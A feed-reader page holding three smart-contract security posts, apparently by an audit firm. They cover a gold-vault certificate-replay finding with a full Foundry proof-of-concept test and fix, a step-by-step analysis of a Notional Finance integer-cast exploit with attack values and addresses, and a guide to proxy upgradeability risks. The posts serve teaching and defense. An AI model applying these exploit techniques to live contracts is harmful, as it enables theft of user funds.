Reading view

There are new articles available, click to refresh the page.

Quill Findings: Eligibility Replay in Tokenized Assets

This is one of the vulnerability our auditors had found during a client engagement. We’re sharing it here, because walking through a real bug is one of the best ways to learn what to watch for when you’re building or reviewing something similar. This is the first in a series where we’ll be doing that with some of the more interesting things we catch during audits.

The protocol in this case is a gold-backed vault. Customers send in physical gold bars, and in return, the protocol gives them a claim token that represents that gold on-chain. Behind the scenes, each bar is tracked with an NFT, called a certificate, that proves the vault is holding that specific bar. We found a way for a customer to take their real gold out of the vault, and then trick the system into minting them a second batch of claim tokens for gold that had already left.

How the vault works

Every physical gold bar is represented by one certificate NFT. When a new bar arrives, the protocol’s certifier verifies it, and the vault mints a fresh certificate. That certificate stays with the vault, not the customer, as proof the bar is inside, and the vault mints a claim token against it, the customer’s on-chain claim to that gold. A customer can also hand in a certificate they already hold to mint more claim tokens against it, as long as the vault is actually holding the matching bar.

When a customer wants their gold back, they burn their claim tokens and the vault releases the bar. At that point the certificate is supposed to be worthless. Its only job was proving the vault held that specific bar, and once the bar is out, that’s no longer true.

What went wrong

The vault doesn’t destroy the certificate on release. It just hands it straight back to the customer, still perfectly valid.

So the customer walks away holding two things: the gold bar, and a certificate that still tells the vault this bar is safely inside. Nothing stops them from walking back in, handing that certificate over again, and minting a fresh batch of claim tokens for gold that’s already gone.

The fix already existed in the code. CertificatesNFT.burn destroys a certificate. It can only be called by the vault, and only while the vault holds the certificate, exactly the situation at the moment gold gets released. Nobody called it.

Here’s the function, the one a customer calls once they’ve burned their claim tokens and are ready to walk out with their gold:

certificatePositions[id] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
nft.transferFrom(me, recipient, id);

The position flips to OutsideVault, and the certificate goes straight back into the customer's wallet. Nothing marks it as used.

Why it’s worse than it looks

Getting a genuinely new certificate is hard on purpose: it needs sign-off from the protocol’s certifier, plus a one-time custody reference proving a specific bar arrived. Handing an old certificate back in needs none of that. The vault just checks the certificate says outside the vault and takes its word for it.

It gets worse. Certificates are never destroyed, so a bar’s serial number stays permanently marked as used. If that same bar genuinely comes back through the front door, the vault can’t issue it a clean new certificate, that path is blocked, the serial number is already taken. Reusing the old certificate becomes the only way back in, for a legitimate return or a fraudulent one. What should be a rare, risky shortcut ends up as the default path, since nothing else works anymore.

Proof of concept

We built a small working version of the same mechanics to confirm this isn’t theoretical. It isn’t the original’s code, real vaults carry more logic than this, but it reproduces the exact behavior that matters.

Set up a fresh Foundry project:

mkdir gold-poc && cd gold-poc
forge init --no-git .
forge install OpenZeppelin/openzeppelin-contracts --no-git

remappings.txt:

@openzeppelin/=lib/openzeppelin-contracts/
forge-std/=lib/forge-std/src/

src/VaultTypes.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/// @notice Minimal illustrative reproduction of the position-tracking types
/// referenced in the finding. Not the audited source.
library VaultTypes {
enum CertificateState {
None,
Vaulted,
OutsideVault
}

struct CertificatePosition {
CertificateState state;
uint256 activeRequestId;
}
}

src/CertificatesNFT.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";

/// @notice Minimal illustrative reproduction. Represents a custody certificate
/// for one physical gold bar held in the vault. Not the audited source.
contract CertificatesNFT is ERC721 {
address public immutable vault;

modifier onlyVault() {
require(msg.sender == vault, "CertificatesNFT: not vault");
_;
}

constructor(address _vault) ERC721("Gold Custody Certificate", "CERT") {
vault = _vault;
}

function mint(address to, uint256 id) external onlyVault {
_mint(to, id);
}

/// @dev Only the vault can burn, and only while the vault itself holds
/// the certificate. This is exactly the situation at the moment physical
/// gold is released, which is the call site this finding is about.
function burn(uint256 id) external onlyVault {
require(ownerOf(id) == vault, "CertificatesNFT: vault must hold certificate");
_burn(id);
}
}

src/ClaimToken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/// @notice Minimal illustrative reproduction of the tokenized-gold claim
/// token. Not the audited source, and not the real token name.
contract ClaimToken is ERC20 {
address public immutable vault;

modifier onlyVault() {
require(msg.sender == vault, "ClaimToken: not vault");
_;
}

constructor(address _vault) ERC20("Vault Gold Claim", "CLAIM") {
vault = _vault;
}

function mint(address to, uint256 amount) external onlyVault {
_mint(to, amount);
}

function burnFrom(address from, uint256 amount) external onlyVault {
_burn(from, amount);
}
}

src/GoldVaultVulnerable.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {CertificatesNFT} from "./CertificatesNFT.sol";
import {ClaimToken} from "./ClaimToken.sol";
import {VaultTypes} from "./VaultTypes.sol";

/// @notice Minimal illustrative reproduction of the vault's certificate
/// lifecycle, including the vulnerable release path described in the
/// finding. Not the audited source, trimmed to the mechanics that matter.
contract GoldVaultVulnerable {
CertificatesNFT public immutable certNFT;
ClaimToken public immutable claimToken;
address public immutable certifier;

uint256 public constant CLAIM_PER_BAR = 1_000e18;

mapping(uint256 => VaultTypes.CertificatePosition) public certificatePositions;
mapping(bytes32 => bool) public usedCustodyRefs;
mapping(uint256 => bool) public serialRegistered;

modifier onlyCertifier() {
require(msg.sender == certifier, "GoldVault: not certifier");
_;
}

constructor(address _certifier) {
certifier = _certifier;
certNFT = new CertificatesNFT(address(this));
claimToken = new ClaimToken(address(this));
}

/// @notice Bar arrival. Strongly validated: certifier-gated, and the
/// custody reference proving the bar arrived can only be used once.
function registerNewBar(address to, uint256 certId, uint256 serial, bytes32 custodyRef)
external
onlyCertifier
{
require(!serialRegistered[serial], "GoldVault: serial already registered");
require(!usedCustodyRefs[custodyRef], "GoldVault: custody ref already used");
usedCustodyRefs[custodyRef] = true;
serialRegistered[serial] = true;

certNFT.mint(address(this), certId); // certificate stays with the vault while the bar is inside
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(to, CLAIM_PER_BAR);
}

/// @notice Re-presenting an existing certificate. No certifier check and
/// no custody reference, open to anyone holding a certificate that is
/// currently marked OutsideVault.
function depositCertificate(uint256 certId) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.OutsideVault,
"GoldVault: certificate not outside vault"
);
certNFT.transferFrom(msg.sender, address(this), certId);
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.Vaulted, activeRequestId: 0});
claimToken.mint(msg.sender, CLAIM_PER_BAR);
}

/// @notice Physical release. This is the call site the finding is about.
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
"GoldVault: certificate not vaulted"
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);

// --- vulnerable: hands a fully valid certificate back instead of retiring it ---
certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
certNFT.transferFrom(address(this), recipient, certId);
}
}

test/GoldSoldTwice.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {GoldVaultVulnerable} from "../src/GoldVaultVulnerable.sol";
import {VaultTypes} from "../src/VaultTypes.sol";
import {CertificatesNFT} from "../src/CertificatesNFT.sol";

contract GoldSoldTwiceTest is Test {
address certifier = makeAddr("certifier");
address customer = makeAddr("customer");

uint256 constant CERT_ID = 1;
uint256 constant SERIAL = 42;
bytes32 constant CUSTODY_REF = keccak256("bar-42-arrival");

function test_ReleasedCertificateCanBeRedepositedForFreshClaim() public {
GoldVaultVulnerable vault = new GoldVaultVulnerable(certifier);

// One physical bar arrives and is registered. This is the strongly
// validated path: certifier-gated, one-time custody reference.
vm.prank(certifier);
vault.registerNewBar(customer, CERT_ID, SERIAL, CUSTODY_REF);
console2.log(
"bar registered, one time only | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);

assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
"customer should hold 1 bar of claim tokens"
);

// Customer redeems: burns claim tokens, takes the physical gold out.
vm.startPrank(customer);
vault.release(CERT_ID, customer);
vm.stopPrank();
console2.log(
"gold released to customer | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);

assertEq(
vault.claimToken().balanceOf(customer),
0,
"claim tokens were burned on release"
);
assertEq(
vault.certNFT().ownerOf(CERT_ID),
customer,
"certificate came back to the customer intact"
);
(VaultTypes.CertificateState state, ) = vault.certificatePositions(
CERT_ID
);
assertEq(
uint8(state),
uint8(VaultTypes.CertificateState.OutsideVault),
"certificate still marked valid"
);

// The gold has left the building. The certificate for it has not
// been touched. Hand it straight back in.
vm.startPrank(customer);
vault.certNFT().approve(address(vault), CERT_ID);
vault.depositCertificate(CERT_ID);
vm.stopPrank();
console2.log(
"same certificate redeposited | claim balance:",
vault.claimToken().balanceOf(customer) / 1e18
);

// Fresh claim tokens, minted against a bar that is no longer in the vault.
assertEq(
vault.claimToken().balanceOf(customer),
vault.CLAIM_PER_BAR(),
"customer minted a second bar of claim tokens against the same, already-withdrawn gold"
);
}
}

Run it:

forge test --match-contract GoldSoldTwiceTest -vv

Output:


Ran 1 test for test/GoldSoldTwice.t.sol:GoldSoldTwiceTest
[PASS] test_ReleasedCertificateCanBeRedepositedForFreshClaim() (gas: 3884735)
Logs:
bar registered, one time only | claim balance: 1000
gold released to customer | claim balance: 0
same certificate redeposited | claim balance: 1000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.03ms (1.81ms CPU time)

Ran 1 test suite in 156.98ms (6.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Look at the claim token balance across those log lines. It goes up to 1,000 when the bar is registered, drops to 0 on release, then climbs back to 1,000, just from handing the same certificate back in. One bar of gold. Two batches of claim tokens.

The fix

  certificatePositions[id] =
- VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});
- nft.transferFrom(me, recipient, id);
+ VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
+ nft.burn(id);

That’s the entire fix. Burn the certificate instead of returning it. No new checks, no new state, both already existed. The only missing piece was calling burn.

// src/GoldVaultFixed.sol, patched release()
function release(uint256 certId, address recipient) external {
require(
certificatePositions[certId].state == VaultTypes.CertificateState.Vaulted,
"GoldVault: certificate not vaulted"
);
claimToken.burnFrom(msg.sender, CLAIM_PER_BAR);

certificatePositions[certId] =
VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.None, activeRequestId: 0});
certNFT.burn(certId);
}

Conclusion

This bug wasn’t flashy, one function handed back something it should have destroyed, and the fix was already sitting in the code, unused. Most real bugs are like that, a small gap between what a system assumes and what’s actually still true.

Originally published at https://www.quillaudits.com.


Quill Findings: Eligibility Replay in Tokenized Assets was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Notional Finance $1.73M Free Collateral Integer Overflow Exploit (Explained)

On September 3, 2026, roughly $1.73M in DAI and USDC left Notional Finance’s V1 Escrow contract in a single transaction. There was no flash loan, no price oracle manipulation, and no compromised key. The attacker minted a fabricated fCash claim equal to Escrow’s entire live balance and withdrew it as real tokens, using a raw type-narrowing cast in Notional’s collateral valuation code that let a maximally insolvent account report zero debt.

Protocol Background

Notional Finance V1 represents fixed-rate lending positions as ERC1155 tokens called fCash. Every position is one half of a payer and receiver pair, the payer owes cash at maturity, the receiver is entitled to collect it. Transferring one of these ERC1155 tokens does not move an existing balance. It calls Portfolios.mintfCashPair(), which mints a brand new offsetting pair on the spot, a design built for OTC block trades. That function's only safeguard is a free collateral check on the payer, computed in Portfolios._freeCollateral() and converted into an ETH value by Escrow.convertBalancesToETH(). The entire system's solvency rests on that one conversion being correct.

Hack Analysis

An attacker-controlled helper contract deployed four disposable contracts.

The helper contract then called safeTransferFrom on Notional's ERC1155 fCash token, which routed into Portfolios.mintfCashPair(). That function creates a new payer and receiver position in a single call and checks free collateral on the payer only, an assumption written directly into the code that the receiver's position always increases and therefore needs no check of its own.

The same account acted as payer twice in a row, first for a notional of 1, then for a notional of 340282366920938463463374607431768211455, the maximum value a uint128 can hold. Combined, the two debts summed to exactly 2¹²⁸, a boundary value chosen with precision rather than brute force.

That combined debt reached Escrow.convertBalancesToETH(), which calls ExchangeRate._convertToETH() to price the payer's balance in ETH for the solvency check. Inside that function, uint128 absBalance = uint128(balance.abs()) casts the debt with a raw, unchecked cast rather than SafeCast.toUint128(). A value of exactly 2^128 truncates cleanly to 0 in that cast, so the largest debt mathematically possible was read as owing nothing.

The second disposable contract, 0x84A060Ed81316E6741Af216A099cFea8bCDd3489, the one holding that fabricated 2¹²⁸-1 claim, passed its own free collateral check on the strength of it, even after Notional’s standard haircut, a claim that size dwarfs any real-world debt. It called safeTransferFrom twice more, once with a notional of 69,257,372,677,950,923,155,658 sent to a third contract, 0x265ccfF3673bCAb03867988081cd51bFd919C03C, once with a notional of 1,658,524,864,122 sent to a fourth contract, 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF.

Both calls routed through mintfCashPair() again, so the third contract came away holding a receiver claim exactly equal to Escrow's real DAI balance, and the contract came away holding a receiver claim exactly equal to Escrow's real USDC balance.

In a second transaction, Portfolios.settleMaturedAssets() converted the third contract fabricated claim into a real, internally tracked Escrow cash balance, and Escrow.withdraw() checked that balance, found no offsetting debt, and paid out 69,257.372677950923155658 DAI from Escrow to 0x265ccfF3673bCAb03867988081cd51bFd919C03C, which forwarded the full amount to the attacker's main address, 0xDaCC235a494750193695A111D715c2ca12b5Ce38, in the same transaction.

The same transaction repeated the process for the fourth contract, settling its fabricated claim into an Escrow cash balance and paying out 1,658,524.864122 USDC from Escrow to 0x4a3508C5aC0677325932f3bC786Ae7A1C3e9CAfF, which likewise forwarded the full amount to 0xDaCC235a494750193695A111D715c2ca12b5Ce38.

Root Cause

The root cause is an unchecked, raw uint128() cast on a debt balance inside ExchangeRate._convertToETH(), in place of the reverting SafeCast.toUint128() used elsewhere in the same file.

Two things made that cast reachable in the first place. Portfolios.mintfCashPair() checks solvency on the payer only, so a fabricated debt on one account is never caught by a check on the account that actually benefits from it.

RiskFramework.sol itself computes the debt correctly, using safe, reverting arithmetic throughout, which meant the attacker had to engineer one exact value rather than exploit sloppy math earlier in the chain. Each factor on its own would have limited the damage, together they turned a single missing bounds check into a full drain.

How QuillAudits Smart Contract Audit Could Have Prevented This

Type-boundary fuzzing on every narrowing cast. Fuzzing _convertToETH() and every other raw uint128() or uint256() cast with boundary values, 0, 2^128 minus 1, and 2^128 itself, would have surfaced the exact wrap that zeroed out the payer's debt.

Two-sided solvency checks on any function that mints offsetting positions. A review of mintfCashPair() against the principle that both sides of a newly created payer and receiver pair need verification, not just the side assumed to be taking on risk, would have flagged the one-sided freeCollateral(payer) check as a design gap on its own, independent of the cast bug.

A project-wide ban on raw narrowing casts in solvency-critical paths. A lint rule or manual pass flagging every uint128(x) or uint256(x) cast on a value that can carry adversarial input, requiring SafeCast or an explicit bounds check instead, would have caught this specific line even without the fuzzing pass above.

Funds Flow After Attack

The DAI and USDC withdrawn from Escrow were moved through intermediary wallets and consolidated into a single address.

That address swapped the combined DAI and USDC for approximately 689.2 ETH.

The ETH was then deposited into Tornado Cash.

Post-Attack Mitigation

At the time of writing, Notional Finance has not published a tweet, statement, or post-mortem addressing this incident, and has not disclosed an official loss figure or confirmed root cause. This section will be updated once the protocol responds.

Relevant Addresses and Transactions

Attacker EOAs

Vulnerable Contracts

Attacker Contracts

Key Transactions

Conclusion

This was not a flash loan attack and not a price manipulation. It was a single unchecked cast, uint128(balance.abs()), sitting inside a function that turns a debt balance into an ETH-denominated solvency check. Because Notional's fCash minting function trusted that check completely and only applied it to one side of every new position, an attacker who could engineer one specific number, 2^128, could make the largest possible debt look exactly like zero. Roughly $1.73M in DAI and USDC left Notional's V1 Escrow contract as a result, swapped to ETH and moved into Tornado Cash. In a system built entirely on solvency checks, the check itself has to be the most carefully verified line in the codebase, because everything downstream believes whatever number it returns.

Original Posted at QuillAudits


Notional Finance $1.73M Free Collateral Integer Overflow Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Smart Contract Upgradeability: Security Risks Developers Often Miss

Smart Contract Upgradeability: Security Risks Developers Often Miss

Smart contracts are supposed to be immutable. Once deployed, their code is expected to remain unchanged. That immutability is one of blockchain’s strongest security properties, but it creates an obvious problem for production protocols.

  • What happens when the contract has a critical bug?
  • What if the business logic needs to evolve?
  • What if a DeFi protocol needs to respond to a new attack vector without migrating millions of dollars in liquidity?

This is where smart contract upgradeability comes in. Upgradeability allows developers to change contract logic while preserving the same user-facing contract address and, in most designs, the existing state.

But there is a catch:

An upgrade mechanism is effectively a privileged path for changing what your smart contract can do after deployment.

That means the upgrade system itself becomes part of the protocol’s attack surface. And this is where many teams get it wrong.

How Smart Contract Upgradeability Actually Works

Most upgradeable Ethereum contracts use some variation of the proxy pattern. Instead of putting everything into one contract, the architecture separates:

  • Proxy: stores user state and receives transactions.
  • Implementation: contains the business logic.
  • Admin/governance: controls which implementation the proxy uses.

When a user calls the proxy, the proxy forwards execution to the implementation using EVM’s delegatecall.

The important detail is that delegatecall executes the implementation’s code in the proxy’s storage context. So if the implementation contains:

balances[msg.sender] += amount;

The storage being modified belongs to the proxy. An upgrade, therefore, does not replace the proxy itself. Instead, the proxy is pointed toward a different implementation contract.

This is why upgradeability is powerful and dangerous.

Ethereum’s documentation describes this model as separating storage from logic and changing the implementation address to modify the behavior of the existing contract.

1. The Upgrade Admin Is a Superuser

The most obvious risk is also one of the most underestimated. If an attacker gains control of the upgrade authority, they may not need to exploit the protocol’s business logic at all. They can simply deploy malicious implementation code and upgrade the proxy.

For example:

Normal implementation

User deposits 100 ETH

Proxy

Secure logic

After a compromised upgrade key:

Malicious implementation

User deposits 100 ETH

Proxy

Attacker-controlled logic

The contract address hasn’t changed. The user’s interaction hasn’t changed. The frontend may even look identical. But the code executing behind that address has changed.

How founders should mitigate this

Do not treat the upgrade key like an ordinary deployment wallet. Use stronger controls such as:

  • Multisig authorization
  • Timelocked upgrades
  • Dedicated upgrade administrators
  • On-chain governance where appropriate
  • Independent approval for high-risk implementations
  • Monitoring for implementation-address changes

OpenZeppelin’s tooling supports different upgrade patterns and explicit ownership mechanisms, but the security of the upgrade authority remains a fundamental design responsibility.

The key principle: protect the upgrade path with at least the same seriousness as the funds themselves.

2. Storage Layout Can Break an Upgrade Without Any Obvious Bug

This is one of the most technical — and most frequently underestimated — risks. Upgradeable contracts preserve state across implementations. That means the storage layout of version 1 and version 2 must remain compatible. Consider:

// Version 1
address owner;
mapping(address => uint256) balances;
uint256 totalSupply;

Now imagine version 2 changes the order:

// Version 2
uint256 totalSupply;
address owner;
mapping(address => uint256) balances;

The Solidity code may compile perfectly. But storage slots don’t magically understand your intentions. The EVM simply sees storage positions.

Version 1 might interpret:

Slot 0 → owner

Slot 1 → balances

Slot 2 → totalSupply

while version 2 interprets those same locations differently. The result can be corrupted state, broken permissions, incorrect balances, or much worse.

OpenZeppelin specifically warns that storage collisions can occur between implementation versions when variables are reordered or incompatible variables are introduced.

The safer rule

For upgradeable contracts:

Do not reorder existing storage variables.

Generally:

  • Add new variables at the end.
  • Preserve existing types and positions.
  • Avoid changing inheritance structures without understanding their storage impact.
  • Validate storage compatibility automatically before deployment.

This is one reason upgrade validation tooling is so valuable.

3. Initializers Replace Constructors — and They Can Be Dangerous

A normal Solidity contract uses a constructor:

constructor(address admin)
{
owner = admin;
}

But constructors run when the implementation contract itself is deployed. With proxies, users interact with the proxy, so initialization needs to happen through the proxy’s execution context. Upgradeable contracts therefore commonly use an initializer:

function initialize(address admin) external initializer
{
owner = admin;
}

The danger is simple:

What happens if someone else calls initialize() first?

If initialization is not properly protected, an attacker may be able to initialize the contract with themselves as the owner or administrator. That turns a deployment mistake into a complete privilege takeover. Developers should therefore:

  • Protect initialization with an initializer guard.
  • Initialize through the proxy.
  • Ensure initialization happens atomically when required.
  • Lock unused implementation contracts where appropriate.
  • Test initialization and re-initialization paths explicitly.

4. UUPS Makes the Implementation Itself Part of the Upgrade Surface

UUPS proxies are attractive because the upgrade mechanism lives in the implementation rather than requiring a heavier proxy-side upgrade mechanism. But that creates an important security consideration.

The implementation contains the function responsible for authorizing upgrades. In simplified form:

function upgradeToAndCall
(
address newImplementation,
bytes calldata data
) external;

The critical question becomes:

Who is allowed to call it?

OpenZeppelin’s UUPS implementation requires developers to override _authorizeUpgrade() with an appropriate access-control mechanism. A poorly implemented authorization check can effectively expose the entire protocol to arbitrary upgrades.

Even more subtly, an upgrade can modify the future upgrade mechanism itself. That means developers must audit not only:

“Can someone upgrade the contract?”

but also:

“What upgrade powers will the new implementation have?”

This distinction is easy to miss.

5. Function Selector Collisions Can Create Unexpected Behavior

Smart contract functions are represented by 4-byte function selectors. That sounds like plenty of space. It isn’t. Different function signatures can theoretically produce the same selector.

In proxy architectures, this creates another layer of complexity because the proxy itself may expose administrative functions while the implementation exposes application functions.

If selectors collide, the proxy may intercept a call that developers expected to reach the implementation. Ethereum’s EIP-1967 specifically discusses this risk and standardizes proxy storage locations partly to avoid exposing proxy-management functions that could clash with implementation functions.

Transparent proxies address this through caller-dependent routing:

  • Normal users → implementation
  • Proxy admin → administrative functions

This is why proxy architecture isn’t simply a deployment detail. The routing mechanism itself can affect application behavior.

6. Beacon Upgrades Introduce a Different Blast Radius

Beacon proxies are useful when many proxy instances share the same implementation. Instead of upgrading each proxy individually:

Proxy A ─┐
Proxy B ─┼──> Beacon ──> Implementation
Proxy C ─┘

Changing the beacon’s implementation can upgrade all connected proxies. That is operationally convenient. But it also creates a larger blast radius. A compromised beacon can potentially affect every contract relying on it.

OpenZeppelin describes beacon proxies as a mechanism where multiple proxies can be upgraded by changing the implementation referenced by their shared beacon. So, before using a beacon architecture, founders should ask:

“If this upgrade authority is compromised, how many contracts can an attacker affect?”

That answer should influence governance, monitoring, and emergency controls.

7. An Upgrade Can Be Technically Valid but Economically Dangerous

Not every dangerous upgrade contains an obvious coding vulnerability. Imagine an upgrade that changes:

fee = 0.3%;

to:

fee = 30%;

The contract may compile. Storage may be compatible. All tests may pass. Access control may be correct. Yet the protocol’s economics have fundamentally changed. This is why upgrade security cannot stop at:

“Does the new implementation compile?”

It must also ask:

  • Does token accounting remain correct?
  • Have fee parameters changed?
  • Has withdrawal behavior changed?
  • Can existing positions be liquidated differently?
  • Has Oracle handling changed?
  • Have permission boundaries changed?
  • Can a privileged actor now move user funds?
  • Does the new implementation preserve protocol invariants?

This is where upgrade reviews need to combine code security with economic security.

8. Treat Every Upgrade Like a New Production Deployment

A common mistake is assuming:

“The contract is already audited, so upgrades are safe.”

That assumption is dangerous. The original implementation may have been audited. The new implementation is new code. Its interaction with existing storage, governance, integrations, and user positions is also new. A serious upgrade process should therefore include:

Before deployment

  • Compile and test the new implementation.
  • Compare storage layouts.
  • Run invariant and integration tests.
  • Review authorization changes.
  • Simulate the upgrade against production-like state.
  • Analyze economic parameter changes.
  • Perform independent security review for high-value protocols.

During deployment

  • Use controlled upgrade authorization.
  • Verify the implementation address.
  • Execute initialization atomically where necessary.
  • Emit and monitor upgrade events.
  • Verify deployed bytecode/source.

After deployment

  • Monitor implementation changes.
  • Monitor privileged calls.
  • Monitor abnormal fund flows.
  • Verify critical protocol invariants.
  • Maintain an emergency response plan.

OpenZeppelin provides upgrade plugins specifically to validate upgrade safety and compatibility before an implementation is deployed.

The Bigger Security Principle

Upgradeability solves a real engineering problem: how do you evolve an immutable system? But it introduces another problem:

Who gets to decide what the system becomes?

That question is more important than whether the protocol uses Transparent, UUPS, Beacon, or another upgrade pattern. A secure upgrade architecture should establish four clear boundaries:

            Upgrade Governance

┌─────────────────┐
│Upgrade Authority│
└───────┬─────────┘

New Implementation

Storage Compatibility

User Funds

Every layer needs independent controls. The upgrade authority must be protected. The implementation must be validated. Storage compatibility must be enforced. And the resulting behavior must be monitored after deployment.

Final Takeaway

Smart contract upgradeability is not simply a way to “make immutable contracts editable.” It creates a controlled code-replacement system around an otherwise immutable protocol. That system introduces risks around:

  • Upgrade authority
  • Storage collisions
  • Initialization
  • UUPS authorization
  • Function selector clashes
  • Beacon blast radius
  • Governance
  • Economic changes
  • Monitoring and incident response

For crypto founders, the right question isn’t:

“Should our smart contracts be upgradeable?”

It is:

“If our contracts are upgradeable, can we prove that no single compromised key, implementation, or governance action can silently take control of user funds?”

That is the standard worth designing for. And as protocols move billions of dollars on-chain, upgradeability should be treated as a security-critical subsystem — not a deployment convenience.


Smart Contract Upgradeability: Security Risks Developers Often Miss was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌